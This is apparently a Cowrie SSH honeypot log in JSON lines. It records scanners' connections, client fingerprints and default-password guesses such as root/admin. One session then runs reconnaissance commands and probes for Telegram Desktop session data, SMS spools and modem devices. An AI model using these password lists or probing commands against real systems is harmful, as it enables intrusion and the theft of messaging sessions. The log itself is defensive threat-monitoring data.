{"eventid":"cowrie.session.connect","src_ip":"45.142.154.89","src_port":46828,"dst_ip":"10.17.0.5","dst_port":22,"session":"54d780cbc8e0","protocol":"ssh","message":"New connection: 45.142.154.89:46828 (10.17.0.5:22) [session: 54d780cbc8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:48:38.922273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:48:38.926724Z","src_ip":"45.142.154.89","session":"54d780cbc8e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2aec6b44b06bec95d73f66b5d30cb69a","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2aec6b44b06bec95d73f66b5d30cb69a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:48:39.132532Z","src_ip":"45.142.154.89","session":"54d780cbc8e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:48:39.347359Z","src_ip":"45.142.154.89","session":"6160a8735302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:48:53.931320Z","src_ip":"45.142.154.89","session":"54d780cbc8e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":10364,"dst_ip":"10.17.0.5","dst_port":22,"session":"4585259a89cc","protocol":"ssh","message":"New connection: 193.46.255.86:10364 (10.17.0.5:22) [session: 4585259a89cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:52:50.235452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:52:50.240490Z","src_ip":"193.46.255.86","session":"4585259a89cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:52:50.371769Z","src_ip":"193.46.255.86","session":"4585259a89cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"1","message":"login attempt [default/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:52:50.967991Z","src_ip":"193.46.255.86","session":"4585259a89cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:52:52.103977Z","src_ip":"193.46.255.86","session":"4585259a89cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"1234","message":"login attempt [default/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:52:53.236931Z","src_ip":"193.46.255.86","session":"4585259a89cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"abc123","message":"login attempt [default/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:52:54.369973Z","src_ip":"193.46.255.86","session":"4585259a89cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"abcd123","message":"login attempt [default/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:52:55.503613Z","src_ip":"193.46.255.86","session":"4585259a89cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:52:56.636938Z","src_ip":"193.46.255.86","session":"4585259a89cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.103","src_port":50001,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1f143d53721","protocol":"ssh","message":"New connection: 198.235.24.103:50001 (159.203.135.109:22) [session: e1f143d53721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:53:35.564680Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:53:35.880907Z","src_ip":"198.235.24.103","session":"e1f143d53721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60904,"dst_ip":"159.203.135.109","dst_port":22,"session":"08d1951e1853","protocol":"ssh","message":"New connection: 45.148.10.121:60904 (159.203.135.109:22) [session: 08d1951e1853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:54:59.618589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:54:59.622684Z","src_ip":"45.148.10.121","session":"08d1951e1853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:54:59.703076Z","src_ip":"45.148.10.121","session":"08d1951e1853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":53332,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d4007e1bef8","protocol":"ssh","message":"New connection: 45.148.10.121:53332 (10.17.0.5:22) [session: 0d4007e1bef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:59:13.592637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:59:13.598762Z","src_ip":"45.148.10.121","session":"0d4007e1bef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:59:13.685600Z","src_ip":"45.148.10.121","session":"0d4007e1bef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.245.10.239","src_port":60212,"dst_ip":"10.17.0.5","dst_port":22,"session":"e339e4194214","protocol":"ssh","message":"New connection: 157.245.10.239:60212 (10.17.0.5:22) [session: e339e4194214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:59:26.766305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:59:26.770641Z","src_ip":"157.245.10.239","session":"e339e4194214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:59:26.774648Z","src_ip":"157.245.10.239","session":"e339e4194214","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:59:26.783673Z","src_ip":"157.245.10.239","session":"e339e4194214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:59:26.789417Z","src_ip":"157.245.10.239","session":"e339e4194214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.220.129.245","src_port":33497,"dst_ip":"10.17.0.5","dst_port":22,"session":"81b24e2f5f5d","protocol":"ssh","message":"New connection: 115.220.129.245:33497 (10.17.0.5:22) [session: 81b24e2f5f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:21.121776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:21.126320Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:21.343765Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:25.725726Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:26.945046Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:27.413559Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:27.416614Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:27.419969Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:27.641001Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:28.107660Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:28.110516Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":908,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:28.330098Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:28.793060Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:28.796031Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:29.015879Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:29.481360Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:29.484366Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:29.706801Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:30.170577Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:30.173388Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:30.394589Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:30.857186Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:30.860403Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:31.082264Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:31.549813Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:31.553068Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:31.776380Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:32.244728Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:32.247370Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:32.529850Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:33.007848Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
